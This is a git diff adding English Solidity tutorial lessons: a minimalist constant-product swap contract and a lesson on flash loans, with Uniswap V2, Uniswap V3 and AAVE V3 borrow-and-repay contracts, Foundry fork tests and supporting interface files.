tokens. The main steps are as follows: + +1. When calling the function, the user specifies the number of tokens for exchange, the address of the exchanged token, and the minimum amount for swapping out another token. +2. Determine whether token0 is exchanged for token1, or token1 is exchanged for token0. +3. Use the above formula to calculate the number of tokens exchanged. +4. Determine whether the exchanged tokens have reached the minimum number specified by the user, which is similar to the slippage of the transaction. +5. Transfer the user’s tokens to the contract. +6. Transfer the exchanged tokens from the contract to the user. +7. Update the token reserve of the contract. +8. Release the `Swap` event. + +```solidity +// swap tokens +// @param amountIn the number of tokens used for exchange +// @param tokenIn token contract address used for exchange +// @param amountOutMin the minimum amount to exchange for another token +function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ +// If token0 is exchanged for token1 + tokenOut = token1; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // If token1 is exchanged for token0 + tokenOut = token0; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); +} +``` + +## Swap Contract + +The complete code of `SimpleSwap` is as follows: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract SimpleSwap is ERC20 { + //Token contract + IERC20 public token0; + IERC20 public token1; + + //Token reserve amount + uint public reserve0; + uint public reserve1; + + // event + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1); + event Swap( + address indexed sender, + uint amountIn, + address tokenIn, + uint amountOut, + address tokenOut + ); + + // Constructor, initialize token address + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } + + // Find the minimum of two numbers + function min(uint x, uint y) internal pure returns (uint z) { + z = x < y ? x : y; + } + + // Calculate square roots babylonian method +(https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) + function sqrt(uint y) internal pure returns (uint z) { + if (y > 3) { + z = y; + uint x = y / 2 + 1; + while (x < z) { + z = x; + x = (y / x + x) / 2; + } + } else if (y != 0) { + z = 1; + } + } + + // Add liquidity, transfer tokens, and mint LP + // If added for the first time, the amount of LP minted = sqrt(amount0 * amount1) + // If it is not the first time, the amount of LP minted = min(amount0/reserve0, amount1/reserve1)* totalSupply_LP + // @param amount0Desired The amount of token0 added + // @param amount1Desired The amount of token1 added + function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // To transfer the added liquidity to the Swap contract, you need to give the Swap contract authorization in advance. + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // Calculate added liquidity + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // If liquidity is added for the first time, mint L = sqrt(x * y) units of LP (liquidity provider) tokens + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // If it is not the first time to add liquidity, LP will be minted in proportion to the number of added tokens, and the smaller ratio of the two tokens will be used. + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + +// Check the amount of LP minted + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // Mint LP tokens for liquidity providers to represent the liquidity they provide + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); + } + +// Remove liquidity, destroy LP, and transfer tokens + // Transfer quantity = (liquidity / totalSupply_LP) * reserve + // @param liquidity The amount of liquidity removed + function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // Get balance + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // Calculate the number of tokens to be transferred according to the proportion of LP + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // Check the number of tokens + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // Destroy LP + _burn(msg.sender, liquidity); + // Transfer tokens + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); + } + +// Given the amount of an asset and the reserve of a token pair, calculate the amount to exchange for another token + // Since the product is constant + // Before swapping: k = x * y + // After swapping: k = (x + delta_x) * (y + delta_y) + // Available delta_y = - delta_x * y / (x + delta_x) + // Positive/negative signs represent transfer in/out + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); + } + +// swap tokens + // @param amountIn the number of tokens used for exchange + // @param tokenIn token contract address used for exchange + // @param amountOutMin the minimum amount to exchange for another token + function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + +if(tokenIn == token0){ + // If token0 is exchanged for token1 + tokenOut = token1; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // If token1 is exchanged for token0 + tokenOut = token0; + // Calculate the number of token1 that can be exchanged + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + //Exchange + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // Update reserve + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); + } +} +``` + +## Remix Reappearance + +1. Deploy two ERC20 token contracts (token0 and token1) and record their contract addresses. + +2. Deploy the `SimpleSwap` contract and fill in the token address above. + +3. Call the `approve()` function of the two ERC20 tokens to authorize 1000 units of tokens to the `SimpleSwap` contract respectively. + +4. Call the `addLiquidity()` function of the `SimpleSwap` contract to add liquidity to the exchange, and add 100 units to token0 and token1 respectively. + +5. Call the `balanceOf()` function of the `SimpleSwap` contract to view the user’s LP share, which should be 100. ($\sqrt{100*100}=100$) + +6. Call the `swap()` function of the `SimpleSwap` contract to trade tokens, using 100 units of token0. + +7. Call the `reserve0` and `reserve1` functions of the `SimpleSwap` contract to view the token reserves in the contract, which should be 200 and 50. In the previous step, we used 100 units of token0 to exchange 50 units of token 1 ($\frac{100*100}{100+100}=50$). + +## Summary + +In this lecture, we introduced the constant product automatic market maker and wrote a minimalist decentralized exchange. In the minimalist Swap contract, we have many parts that we have not considered, such as transaction fees and governance parts. If you are interested in decentralized exchanges, it is recommended that you read [Programming DeFi: Uniswap V2](https://jeiwan.net/posts/programming-defi-uniswapv2-1/) and [Uniswap v3 book](https: //y1cunhui.github.io/uniswapV3-book-zh-cn/) for more in-depth learning. diff --git a/Languages/en/57_Flashloan/img/57-1.png b/Languages/en/57_Flashloan/img/57-1.png new file mode 100644 index 000000000..7199c4c7a Binary files /dev/null and b/Languages/en/57_Flashloan/img/57-1.png differ diff --git a/Languages/en/57_Flashloan/readme.md b/Languages/en/57_Flashloan/readme.md new file mode 100644 index 000000000..97cbfe499 --- /dev/null +++ b/Languages/en/57_Flashloan/readme.md @@ -0,0 +1,495 @@ +--- +title: 57. Flash loan +tags: + - solidity + - flashloan + - Defi + - uniswap + - aave +--- + +# WTF Minimalist introduction to Solidity: 57. Flash loan + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +You must have heard the term “flash loan attack”, but what is a flash loan? How to write a flash loan contract? In this lecture, we will introduce flash loans in the blockchain, implement flash loan contracts based on Uniswap V2, Uniswap V3, and AAVE V3, and use Foundry for testing. + +## Flash Loan + +The first time you heard about "flash loan" must be in Web3, because Web2 does not have this thing. Flashloan is a DeFi innovation that allows users to lend and quickly return funds in one transaction without providing any collateral. + +Imagine that you suddenly find an arbitrage opportunity in the market, but you need to prepare 1 million U of funds to complete the arbitrage. In Web2, you go to the bank to apply for a loan, which requires approval, and you may miss the arbitrage opportunity. In addition, if the arbitrage fails, you not only have to pay interest but also need to return the lost principal. + +In Web3, you can obtain funds through flash loans on the DeFI platform (Uniswap, AAVE, Dodo). You can borrow 1 million U tokens without guarantee, perform on-chain arbitrage, and finally return the loan and interest. + +Flash loans take advantage of the atomicity of Ethereum transactions: a transaction (including all operations within it) is either fully executed or not executed at all. If a user attempts to use a flash loan and does not return the funds in the same transaction, the entire transaction will fail and be rolled back as if it never happened. Therefore, the DeFi platform does not need to worry about the borrower not being able to repay the loan, because if it is not repaid, it means that the money has not been loaned out; at the same time, the borrower does not need to worry about the arbitrage being unsuccessful, because if the arbitrage is unsuccessful, the repayment will not be repaid, and It means that the loan was unsuccessful. + +![](./img/57-1.png) + +## Flash loan in action + +Below, we introduce how to implement flash loan contracts in Uniswap V2, Uniswap V3, and AAVE V3. + +### 1. Uniswap V2 Flash Loan + +[Uniswap V2 Pair](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L159) The `swap()` function of the contract supports flash loans. The code related to the flash loan business is as follows: + +```solidity +function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { + // Other logic... + + // Optimistically send tokens to the address + if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); + if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); + + //Call the callback function uniswapV2Call of the to address + if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); + + // Other logic... + + // Use the k=x*y formula to check whether the flash loan is returned successfully + require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); +} +``` + +In the `swap()` function: + +1. First transfer the tokens in the pool to the `to` address optimistically. +2. If the length of `data` passed in is greater than `0`, the callback function `uniswapV2Call` of the `to` address will be called to execute the flash loan logic. +3. Finally, check whether the flash loan is returned successfully through `k=x*y`. If not, roll back the transaction. + +Next, we complete the flash loan contract `UniswapV2Flashloan.sol`. We let it inherit `IUniswapV2Callee` and write the core logic of flash loan in the callback function `uniswapV2Call`. + +The overall logic is very simple. In the flash loan function `flashloan()`, we borrow `WETH` from the `WETH-DAI` pool of Uniswap V2. After the flash loan is triggered, the callback function `uniswapV2Call` will be called by the Pair contract. We do not perform arbitrage and only return the flash loan after calculating the interest. The interest rate of Uniswap V2 flash loan is `0.3%` per transaction. + +**Note**: The callback function must have permission control to ensure that only Uniswap's Pair contract can be called. Otherwise, all the funds in the contract will be stolen by hackers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// Uniswap V2 flash loan callback interface +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// // Uniswap V2 Flash Loan Contract +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + +// Flash loan function + function flashloan(uint wethAmount) external { + //The calldata length is greater than 1 to trigger the flash loan callback function + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Out is the DAI to be borrowed, amount1Out is the WETH to be borrowed + pair.swap(0, wethAmount, address(this), data); + } + + // Flash loan callback function can only be called by the DAI/WETH pair contract + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { +// Confirm that the call is DAI/WETH pair contract + address token0 = IUniswapV2Pair(msg.sender).token0(); // Get token0 address + address token1 = IUniswapV2Pair(msg.sender).token1(); // Get token1 address + assert(msg.sender == factory.getPair(token0, token1)); // ensure that msg.sender is a V2 pair + +//Decode calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan logic, omitted here + require(tokenBorrow == WETH, "token borrow != WETH"); + +// Calculate flashloan fees + // fee / (amount + fee) = 3/1000 + // Rounded up + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + //Repay flash loan + weth.transfer(address(pair), amountToRepay); + } +} + +Foundry test contract `UniswapV2Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + +function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +In the test contract, we tested the cases of sufficient and insufficient handling fees respectively. You can use the following command line to test after installing Foundry (you can change the RPC to another Ethereum RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV2Flashloan.t.sol -vv +``` + +### 2. Uniswap V3 Flash Loan + +Unlike Uniswap V2 which indirectly supports flash loans in the `swap()` exchange function, Uniswap V3 supports flash loans in [Pool Pool Contract](https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol #L791C1-L835C1) has added the `flash()` function to directly support flash loans. The core code is as follows: + +```solidity +function flash( + address recipient, + uint256 amount0, + uint256 amount1, + bytes calldata data +) external override lock noDelegateCall { + // Other logic... + +// Optimistically send tokens to the address + if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0); + if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1); + + //Call the callback function uniswapV3FlashCallback of the to address + IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data); + + // Check whether the flash loan is returned successfully + uint256 balance0After = balance0(); + uint256 balance1After = balance1(); + require(balance0Before.add(fee0) <= balance0After, 'F0'); + require(balance1Before.add(fee1) <= balance1After, 'F1'); + + // sub is safe because we know balanceAfter is gt balanceBefore by at least fee + uint256 paid0 = balance0After - balance0Before; + uint256 paid1 = balance1After - balance1Before; + +// Other logic... +} +``` + +Next, we complete the flash loan contract `UniswapV3Flashloan.sol`. We let it inherit `IUniswapV3FlashCallback` and write the core logic of flash loan in the callback function `uniswapV3FlashCallback`. + +The overall logic is similar to that of V2. In the flash loan function `flashloan()`, we borrow `WETH` from the `WETH-DAI` pool of Uniswap V3. After the flash loan is triggered, the callback function `uniswapV3FlashCallback` will be called by the Pool contract. We do not perform arbitrage and only return the flash loan after calculating the interest. The handling fee for each flash loan in Uniswap V3 is consistent with the transaction fee. + +**Note**: The callback function must have permission control to ensure that only Uniswap's Pair contract can be called. Otherwise, all the funds in the contract will be stolen by hackers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV3 flash loan callback interface +//Need to implement and rewrite the uniswapV3FlashCallback() function +interface IUniswapV3FlashCallback { + /// In the implementation, you must repay the pool for the tokens sent by flash and the calculated fee amount. + /// The contract calling this method must be checked by the UniswapV3Pool deployed by the official UniswapV3Factory. + /// @param fee0 The fee amount of token0 that should be paid to the pool when the flash loan ends + /// @param fee1 The fee amount of token1 that should be paid to the pool when the flash loan ends + /// @param data Any data passed by the caller is called via IUniswapV3PoolActions#flash + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// UniswapV3 flash loan contract +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address _token1, + uint24 _fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + +// Flash loan function + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // Flash loan callback function can only be called by the DAI/WETH pair contract + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // Confirm that the call is DAI/WETH pair contract + require(msg.sender == address(pool), "not authorized"); + + //Decode calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan logic, omitted here + require(tokenBorrow == WETH, "token borrow != WETH"); + + //Repay flash loan + weth.transfer(address(pool), wethAmount + fee1); + } +} +``` + +Foundry test contract `UniswapV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + +function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // Flash loan loan amount + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + +// If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as a handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +In the test contract, we tested the cases of sufficient and insufficient handling fees respectively. You can use the following command line to test after installing Foundry (you can change the RPC to other Ethereum RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/UniswapV3Flashloan.t.sol -vv +``` + +### 3. AAVE V3 Flash Loan + +AAVE is a decentralized lending platform. Its [Pool contract](https://github.com/aave/aave-v3-core/blob/master/contracts/protocol/pool/Pool.sol#L424) passes `flashLoan The two functions ()` and `flashLoanSimple()` support single-asset and multi-asset flash loans. Here, we only use `flashLoan()` to implement a flash loan of a single asset (`WETH`). + +Next, we complete the flash loan contract `AaveV3Flashloan.sol`. We let it inherit `IFlashLoanSimpleReceiver` and write the core logic of flash loan in the callback function `executeOperation`. + +The overall logic is similar to that of V2. In the flash loan function `flashloan()`, we borrow `WETH` from the `WETH` pool of AAVE V3. After the flash loan is triggered, the callback function `executeOperation` will be called by the Pool contract. We do not perform arbitrage and only return the flash loan after calculating the interest. The handling fee of AAVE V3 flash loan defaults to `0.05%` per transaction, which is lower than that of Uniswap. + +**Note**: The callback function must have permission control to ensure that only AAVE's Pool contract can be called, and the initiator is this contract, otherwise the funds in the contract will be stolen by hackers. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice performs operations after receiving flash loan assets + * @dev ensures that the contract can pay off the debt + additional fees, e.g. with + * Sufficient funds to repay and Pool has been approved to withdraw the total amount + * @param asset The address of the flash loan asset + * @param amount The amount of flash loan assets + * @param premium The fee for lightning borrowing assets + * @param initiator The address where flash loans are initiated + * @param params byte encoding parameters passed when initializing flash loan + * @return True if the operation is executed successfully, False otherwise + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// AAVE V3 flash loan contract +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + +// Flash loan function + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // Flash loan callback function can only be called by the pool contract + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { +// Confirm that the call is DAI/WETH pair contract + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // Confirm that the initiator of the flash loan is this contract + require(initiator == address(this), "invalid initiator"); + + // flashloan logic, omitted here + + // Calculate flashloan fees + // fee = 5/1000 * amount + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + //Repay flash loan + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} +``` + +Foundry test contract `AaveV3Flashloan.t.sol`: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + +function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} +``` + +In the test contract, we tested the cases of sufficient and insufficient handling fees respectively. You can use the following command line to test after installing Foundry (you can change the RPC to another Ethereum RPC): + +```shell +FORK_URL=https://singapore.rpc.blxrbdn.com +forge test --fork-url $FORK_URL --match-path test/AaveV3Flashloan.t.sol -vv +``` + +## Summary + +In this lecture, we introduce flash loans, which allow users to lend and quickly return funds in one transaction without providing any collateral. Moreover, we have implemented Uniswap V2, Uniswap V3, and AAVE’s flash loan contracts respectively. + +Through flash loans, we can leverage massive amounts of funds without collateral for risk-free arbitrage or vulnerability attacks. What are you going to do with flash loans? diff --git a/Languages/en/57_Flashloan/src/AaveV3Flashloan.sol b/Languages/en/57_Flashloan/src/AaveV3Flashloan.sol new file mode 100644 index 000000000..3ba1f3475 --- /dev/null +++ b/Languages/en/57_Flashloan/src/AaveV3Flashloan.sol @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +interface IFlashLoanSimpleReceiver { + /** + * @notice performs operations after receiving flash loan assets + * @dev ensures that the contract can pay off the debt + additional fees, e.g. with + * Sufficient funds to repay and Pool has been approved to withdraw the total amount + * @param asset The address of the flash loan asset + * @param amount The amount of flash loan assets + * @param premium The fee for lightning borrowing assets + * @param initiator The address where flash loans are initiated + * @param params byte encoding parameters passed when initializing flash loan + * @return True if the operation is executed successfully, False otherwise + */ + function executeOperation( + address asset, + uint256 amount, + uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// AAVE V3 flash loan contract +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + + // Flash loan function + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // Flash loan callback function can only be called by the pool contract + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { + // Confirm that the call is DAI/WETH pair contract + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // Confirm that the initiator of the flash loan is this contract + require(initiator == address(this), "invalid initiator"); + + // flashloan logic, omitted here + + // Calculate flashloan fees + // fee = 5/1000 * amount + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + //Repay flash loan + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} diff --git a/Languages/en/57_Flashloan/src/Lib.sol b/Languages/en/57_Flashloan/src/Lib.sol new file mode 100644 index 000000000..72f018fae --- /dev/null +++ b/Languages/en/57_Flashloan/src/Lib.sol @@ -0,0 +1,109 @@ +pragma solidity >=0.5.0; + +interface IERC20 { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + + function name() external view returns (string memory); + function symbol() external view returns (string memory); + function decimals() external view returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); +} + +interface IUniswapV2Pair { + function swap( + uint amount0Out, + uint amount1Out, + address to, + bytes calldata data + ) external; + + function token0() external view returns (address); + function token1() external view returns (address); +} + +interface IUniswapV2Factory { + function getPair( + address tokenA, + address tokenB + ) external view returns (address pair); +} + +interface IWETH is IERC20 { + function deposit() external payable; + + function withdraw(uint amount) external; +} + + + +library PoolAddress { + bytes32 internal constant POOL_INIT_CODE_HASH = + 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; + + struct PoolKey { + address token0; + address token1; + uint24 fee; + } + + function getPoolKey( + address tokenA, + address tokenB, + uint24 fee + ) internal pure returns (PoolKey memory) { + if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); + return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); + } + + function computeAddress( + address factory, + PoolKey memory key + ) internal pure returns (address pool) { + require(key.token0 < key.token1); + pool = address( + uint160( + uint( + keccak256( + abi.encodePacked( + hex"ff", + factory, + keccak256(abi.encode(key.token0, key.token1, key.fee)), + POOL_INIT_CODE_HASH + ) + ) + ) + ) + ); + } +} + +interface IUniswapV3Pool { + function flash( + address recipient, + uint amount0, + uint amount1, + bytes calldata data + ) external; +} + +// AAVE V3 Pool interface +interface ILendingPool { + // flashloan of single asset + function flashLoanSimple( + address receiverAddress, + address asset, + uint256 amount, + bytes calldata params, + uint16 referralCode + ) external; + + // get the fee on flashloan, default at 0.05% + function FLASHLOAN_PREMIUM_TOTAL() external view returns (uint128); +} \ No newline at end of file diff --git a/Languages/en/57_Flashloan/src/UniswapV2Flashloan.sol b/Languages/en/57_Flashloan/src/UniswapV2Flashloan.sol new file mode 100644 